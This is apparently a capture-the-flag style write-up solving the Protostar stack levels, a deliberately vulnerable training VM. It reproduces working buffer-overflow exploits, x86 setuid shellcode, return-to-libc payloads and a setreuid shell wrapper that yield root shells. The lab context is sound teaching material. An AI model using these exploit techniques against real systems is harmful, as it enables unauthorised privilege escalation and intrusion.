index search github twitter

Exploit-Exercises: Protostar (Stack Levels)

Image: Exploit-Exercises: Protostar (v2)

user@protostar:~$ wget https://raw.githubusercontent.com/73696e65/gdbinit/master/gdb_init.txt --no-check-certificate -O ~/.gdbinit -q 

Protostar Stack0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
user@protostar:/opt/protostar/bin$ ruby -e 'print "\xfa" * 64' | ./stack0 
Try again?

user@protostar:/opt/protostar/bin$ ruby -e 'print "\xfa" * 64 + "\x01"' | ./stack0 
you have changed the 'modified' variable

Protostar Stack1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
user@protostar:/opt/protostar/bin$ ./stack1 $(ruby -e 'print "X" * 64')
Try again, you got 0x00000000

user@protostar:/opt/protostar/bin$ ./stack1 $(ruby -e 'print "X" * 64 + [0x41414141].pack("V") ')
Try again, you got 0x41414141

user@protostar:/opt/protostar/bin$ ./stack1 $(ruby -e 'print "X" * 64 + [0x61626364].pack("V") ')
you have correctly got the variable to the right value

Protostar Stack2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
user@protostar:/opt/protostar/bin$ ./stack2 
stack2: please set the GREENIE environment variable

user@protostar:/opt/protostar/bin$ GREENIE=$(ruby -e 'print "A" * 64 + [0x41414141].pack("V")') ./stack2 
Try again, you got 0x41414141

user@protostar:/opt/protostar/bin$ GREENIE=$(ruby -e 'print "A" * 64 + [0x0d0a0d0a].pack("V")') ./stack2 
you have correctly modified the variable

Protostar Stack3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

We need to rewrite fp function address with the address of win().

user@protostar:/opt/protostar/bin$ ruby -e 'print "X" * 64 + [0x41414141].pack("V")' | ./stack3 
calling function pointer, jumping to 0x41414141
Segmentation fault

user@protostar:/opt/protostar/bin$ nm ./stack3 | grep win
08048424 T win

user@protostar:/opt/protostar/bin$ ruby -e 'print "X" * 64 + [0x08048424].pack("V")' | ./stack3 
calling function pointer, jumping to 0x08048424
code flow successfully changed

Protostar Stack4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

We use metasploit patterns (on Kali Linux) to determine the exact location of stored EIP:

# Window 1:
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_create.rb 80
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac

# Window 2:
user@protostar:/opt/protostar/bin$ gdb -q ./stack4 
Reading symbols from /opt/protostar/bin/stack4...done.

(gdb) r
Starting program: /opt/protostar/bin/stack4 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

# Window 1:
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x63413563
[*] Exact match at offset 76

# Window 2:
user@protostar:/opt/protostar/bin$ nm stack4 | grep win
080483f4 T win

user@protostar:/opt/protostar/bin$ ruby -e 'print "A" * 76 + [0x080483f4].pack("V")' | ./stack4 
code flow successfully changed

Protostar Stack5

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

The idea is the same as in Stack4, but we need to store shellcode on stack, for example.

Stack is executable:

user@protostar:/opt/protostar/bin$ readelf -a ./stack4 | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

To have the same address in bash and gdb, we use hellman’s fixenv tool.

user@protostar:~$ git clone https://github.com/hellman/fixenv
Cloning into fixenv...
remote: Counting objects: 20, done.
Unpacking objects: 100% (20/20), done.
remote: Total 20 (delta 0), reused 0 (delta 0), pack-reused 20

user@protostar:~$ cd fixenv/

user@protostar:~/fixenv$ ./r.sh gdb /opt/protostar/bin/stack5 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/user/fixenv/.launcher...done.

(gdb) set disassembly-flavor intel

(gdb) disassemble main 
Dump of assembler code for function main:
0x080483c4 <main+0>:	push   ebp
0x080483c5 <main+1>:	mov    ebp,esp
0x080483c7 <main+3>:	and    esp,0xfffffff0
0x080483ca <main+6>:	sub    esp,0x50
0x080483cd <main+9>:	lea    eax,[esp+0x10]
0x080483d1 <main+13>:	mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:	call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:	leave  
0x080483da <main+22>:	ret    
End of assembler dump.

(gdb) b *0x080483d4
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.

(gdb) b *0x080483d9
Breakpoint 2 at 0x80483d9: file stack5/stack5.c, line 11.

(gdb) r
Starting program: /home/user/fixenv/.launcher 

Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffff914) at stack5/stack5.c:10
10	stack5/stack5.c: No such file or directory.
	in stack5/stack5.c

(gdb) x /xw $esp
0xbffff810:	0xbffff820

(gdb) c
Continuing.
ABCDEFGH

Breakpoint 2, main (argc=1, argv=0xbffff914) at stack5/stack5.c:11
11	in stack5/stack5.c
(gdb) x /s 0xbffff820
0xbffff820:	 "ABCDEFGH"

The address 0xbffff820 represents the buffer[] address, we store our shellcode here and jump to this address. Also we know, that return address is overwritten after position 76, from Protostar Stack4. We created our shellcode here.

user@protostar:~/fixenv$ ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "\x90" * (76 - sc.length) + [0xbffff820].pack("V") ' | ./r.sh /opt/protostar/bin/stack5 
user@protostar:~/fixenv$ 

The shell is executed, however it receives EOF. For this purposes, we can keep it alive with cat command:

user@protostar:~/fixenv$ (ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "\x90" * (76 - sc.length) + [0xbffff820].pack("V") '; cat -) | ./r.sh /opt/protostar/bin/stack5

id
uid=0(root) gid=1001(user) groups=0(root),1001(user)

Sometimes a more convenient solution could be storing shellcode in environment:

user@protostar:~/fixenv$ export EGG=$(ruby -e 'print "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

user@protostar:~/fixenv$ ./r.sh getvar EGG
0xbfffff60  \x60\xff\xff\xbf  (EGG)

user@protostar:~/fixenv$ ruby -e 'print "A" * 76 + [0xbfffff60].pack("V")' | ./r.sh /opt/protostar/bin/stack5
user@protostar:~/fixenv$ 

user@protostar:~/fixenv$ (ruby -e 'print "A" * 76 + [0xbfffff60].pack("V")' ; cat) | ./r.sh /opt/protostar/bin/stack5

id
uid=0(root) gid=1001(user) groups=0(root),1001(user)

We do not need to use r.sh again - the EGG address could be easily calculated (albeit it’s different, because fixenv clears our environment):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if (argc < 3) {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    } else {
        /* Get environment variable location */
        ptr = getenv(argv[1]); 
        /* Adjust for program name */
        ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; 
        printf("%s will be at %p\n", argv[1], ptr);
    }
}
user@protostar:~/fixenv$ gcc getenv.c -o getenv

user@protostar:~/fixenv$ ./getenv EGG /opt/protostar/bin/stack5
EGG will be at 0xbffff9b0

user@protostar:~/fixenv$ (ruby -e 'print "A" * 76 + [0xbffff9b0].pack("V")' ; cat) | /opt/protostar/bin/stack5

id
uid=0(root) gid=1001(user) groups=0(root),1001(user)

Protostar Stack6

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Using pattern_create.rb / pattern_offset.rb we found out that the stored return address is at offset 80.

user@protostar:~$ gdb -q /opt/protostar/bin/stack6 
...

gdb> b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.

gdb> r
...
Breakpoint 1, main (argc=0x1, argv=0xbffff804) at stack6/stack6.c:27
27	stack6/stack6.c: No such file or directory.
	in stack6/stack6.c

gdb> p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

There is a great return-to-libc writeup to explain the stack structure.

Address of system() is always the same, 0xb7ecffb0, now we need to find the /bin/sh string on the stack.

user@protostar:~/fixenv$ ./r.sh gdb /opt/protostar/bin/stack6 
...
(gdb) set disassembly-flavor intel 

(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.

(gdb) r
Starting program: /home/user/fixenv/.launcher 

(gdb) x /10s $esp
...
0xbfffff0e:	 "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbfffff4e:	 "SHELL=/bin/sh"

(gdb) x /s 0xbfffff4e+6
0xbfffff54:	 "/bin/sh"
user@protostar:~/fixenv$ (ruby -e 'print "A"*80 + [0xb7ecffb0].pack("V") + "FAKE" + [0xbfffff54].pack("V")'; cat -) | ./r.sh /opt/protostar/bin/stack6 
input path please: 
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAA???FAKET???
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Without setreuid() call we have only euid=0, so we prepare this shell wrapper:

#include <stdio.h>

int main(int argc, char **argv)
{
        setreuid(geteuid(), geteuid());
        execv("/bin/sh", NULL);
}
user@protostar:~/fixenv$ (ruby -e 'print "A"*80 + [0xb7ecffb0].pack("V") + "FAKE" + [0xbfffff54].pack("V")'; cat -) | ./r.sh /opt/protostar/bin/stack6 
input path please: 
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAA???FAKET???
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
/tmp/escalate
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)

Protostar Stack7

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
Reading symbols from /opt/protostar/bin/stack7...done.
gdb> r
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:0804A008 ebx:B7FD7FF4  ecx:00000000  edx:00000001     eflags:00210202
     esi:00000000 edi:00000000  esp:BFFFF750  ebp:63413563     eip:37634136
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t s z a p c 
[007B:BFFFF750]---------------------------------------------------------[stack]
BFFFF780 : 01 00 00 00  C0 F7 FF BF - 26 06 FF B7  B0 FA FF B7 ........&.......
BFFFF770 : 38 41 64 39  00 FF FF FF - F4 EF FF B7  BC 82 04 08 8Ad9............
BFFFF760 : 64 33 41 64  34 41 64 35 - 41 64 36 41  64 37 41 64 d3Ad4Ad5Ad6Ad7Ad
BFFFF750 : 41 63 38 41  63 39 41 64 - 30 41 64 31  41 64 32 41 Ac8Ac9Ad0Ad1Ad2A
[007B:0804A008]---------------------------------------------------------[ data]
0804A008 : 41 61 30 41  61 31 41 61 - 32 41 61 33  41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
0804A018 : 61 35 41 61  36 41 61 37 - 41 61 38 41  61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
[0073:37634136]---------------------------------------------------------[ code]
0x37634136:	Error while running hook_stop:
Cannot access memory at address 0x37634136
0x37634136 in ?? ()

gdb> i r
eax            0x804a008	0x804a008
ecx            0x0	0x0
edx            0x1	0x1
ebx            0xb7fd7ff4	0xb7fd7ff4
esp            0xbffff750	0xbffff750
ebp            0x63413563	0x63413563
esi            0x0	0x0
edi            0x0	0x0
eip            0x37634136	0x37634136
eflags         0x210202	[ IF RF ID ]
cs             0x73	0x73
ss             0x7b	0x7b
ds             0x7b	0x7b
es             0x7b	0x7b
fs             0x0	0x0
gs             0x33	0x33
gdb> x /s $eax
0x804a008:	 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9"

The offset for return address is again 80 (0x37634136 in pattern_offset) and EAX with stored 0x804a008 value points to the beginning of our buffer, where we still can jump.

This is because strdup() allocates memory on heap and returns this address:

man 3 strdup

  The strdup() function returns a pointer to a new string which is a duplicate
  of the string s.  Memory for the new string  is obtained with malloc(3), and
  can be freed with free(3).
user@protostar:~$ (ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "X" * (80 - sc.length) + [0x0804a008].pack("V")'; cat -) | /opt/protostar/bin/stack7 
input path please: 
got path j1X̀?É?jFX̀1?1?Phn/shh//bi??PS??
                                       ̀XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX?
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)

Instead of pointing to the allocated buffer address, it is more portable to find call eax instruction addresses in code and use one of them.

user@protostar:~$ objdump -M intel -D /opt/protostar/bin/stack7 | grep 'call.*eax$'
 80484bf:	ff d0                	call   eax
 80485eb:	ff d0                	call   eax
user@protostar:~$ (ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "X" * (80 - sc.length) + [0x080484bf].pack("V")'; cat -) | /opt/protostar/bin/stack7 
input path please: 
got path j1X̀?É?jFX̀1?1?Phn/shh//bi??PS??
                                       ̀XXXXXXXXXXXXXXXXXXXXXXXXX?XXXXXXXXXXXX??
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)